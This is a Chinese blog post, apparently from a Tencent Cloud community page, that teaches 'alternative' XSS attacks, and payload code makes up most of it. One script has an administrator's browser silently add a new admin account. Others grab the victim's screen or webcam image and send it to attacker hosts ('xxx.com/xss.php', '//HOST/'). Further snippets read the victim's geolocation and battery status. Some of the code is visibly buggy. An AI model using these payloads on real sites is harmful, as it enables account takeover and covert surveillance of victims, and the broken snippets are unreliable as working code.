XSS攻击另类玩法

今天小白就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。

1. xss攻击添加管理员

后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。

无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。

这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。

var request = false;
if(window.XMLHttpRequest) {
    request = new.XMLHttpRequest();
    if(request.overrideMimeType) {
        request.overrideMimeType('text/html');
    }
} else if(Window.ActiveXObject) {
    var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
    for(var i=0; i<versions.length; i ++){
        try{
            request = new ActiveXObject(versions);
        }catch(e){}
}
}
xmlhttp = request;

add_admin();
function add_admin(){
    var url = "/admin/admin_add_user.php";  //添加用户请求地址
    var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据
    xmlhttp.open("POST",url,true);
    xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
    xmlhttp.setRequstHeader("Content-length",params.length);
    xmlhttp.setRequstHeader("Connection","close")
    }

2, xss截取客户的屏幕

现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

这里需要用到一个js库 html2canvas.js

document.write("<script src="html2canvas.js></script>");   

window.onload=function(){
        html2canvas(document.body, {
        onrendered: function(canvas) {

//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
xhr=function(){
        var request = false;
        if(window.XMLHttpRequest){
                request = new XMLHttpRequest();
        }else if (window.ActiveXObject){
                try{
                        request = new window.ActiveXObject('Microsoft.XMLHTTP');
                }catch(e){

                }
        }

        return request;
}();

request = function(method,src,argv,content_type){
        xhr.open(method,src,false);
        if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
        xhr.send(argv);                                         //发送POST数据
        return xhr.responseText;
};

attack_a = function(){
        var src         = "http://xxx.com/xss.php?";                 //post接收地址
        var argv_0      = "'&screenshot="+canvas.toDataURL();    //post字段名称为screenshot
        request("POST",src,argv_0,"application/x-www-form-urlencoded");
};

attack_a();

                                  }
                                });
                        }

上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同

<script>
d=document;
v=d.createElement('video');
c=d.createElement('canvas');
c.width=640;
c.height=480;
navigator.webkitGetUserMedia({'video':true},function(s){
v.src=URL.createObjectURL(s);v.play()},function(){});
c2=c.getContext('2d');
x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
setInterval(x,5000);
</script>

这两种服务端获取到的post数据包是 base64格式的 ,我们只要进行转码即可看到对方的屏幕截图。 3.xss对移动端的攻击 现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。 这里只针对手机端Firefox浏览器说明。 xss获取对方经纬度代码

<script>

navigator.geolocation.getCurrentPosition(function(p){

alert('Latitude:'+p.coords.latitude+',Longitude:'+
p.coords.longitude+',Altitude:'+p.coords.altitude);})

</script>

xss获取电池状态的代码,这里需要用到JavaScript Battery API

<svg onload=alert(navigator.battery.level)>

<svg onload=alert(navigator.battery.dischargingTime)>

<svg onload=alert(navigator.battery.charging)>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏前端布道

前端开发必备之Chrome开发者工具(下篇)

本文介绍的 Chrome 开发者工具基于 Chrome 65版本,如果你的 Chrome 开发者工具没有下文提到的那些内容,请检查下 Chrome 的版本 本文...

361110
来自专栏IT大咖说

2018年1月份最热门的JavaScript开源项目

本篇文章为大家盘点了1月份最热门的 JavaScript 项目,让我们一起来看下吧! 一、编辑器tui.editor https://github.com/nh...

30980
来自专栏张戈的专栏

WordPress评论滑动/拉链解锁myQaptcha修改为自动提交的方法

自从肉牛、钢材等垃圾评论泛滥,很多朋友都用上了各种评论验证方案,其中一个比较惹眼的就是张戈博客目前在用的 myQaptcha 滑动解锁。 ? 很久之前张戈博客已...

37050
来自专栏数据小魔方

左手用R右手Python系列——任务进度管理

一直觉得运行代码的时候,如果有一个提示任务运行进度的进度条提示就好,很多时候我们的程序运行时间普遍较长,如果程序运行没有任何提示,那简直是一场噩梦,根本不知道到...

41050
来自专栏向治洪

Mac 高效工作指南

序 很多做开发的程序员,都喜欢用mac,其绚丽的外观,加上手感体验,很适合开发和装逼用。其实除了这些为什么那么多程序员喜欢用mac呢,分析了一下使用mac的好处...

658100
来自专栏龙首琴剑庐

原 linux中goldendict发声词

27640
来自专栏张戈的专栏

分享WordPress Mobile Pack汉化精简版及隐藏指定插件更新提示的方法

妈妈说,文章内容不一定要赞,但是标题绝对要长,俺还是很听话的.... 一、WordPress Mobile Pack 汉化精简版 言归正传,上次写在《解决 36...

36930
来自专栏琯琯博客

超好用的谷歌浏览器、Sublime Text、Phpstorm、油猴插件合集

一、谷歌浏览器插件 二、Sublime Text 插件 三、Phpstorm 插件 四、油猴脚本 4.1 脚本网站 4.2 自用的脚本 五、相关链接 ? 分享...

1.3K80
来自专栏Flutter入门到实战

2017年你绝对想尝试的25个新安卓库(持续更新中...)

这是一份2017年1,2月份发布的25个最佳安卓库的列表,你应该会喜欢,虽然是按顺序排列的,但排名不分先后。让我们开始吧!

27920
来自专栏武军超python专栏

2018年8月7号升级飞机大战的总结

今天学到的新单词: indentation  n缩进 transform  v改变,变换 collide v碰撞 recursion  n递归

12420

扫码关注云+社区

领取腾讯云代金券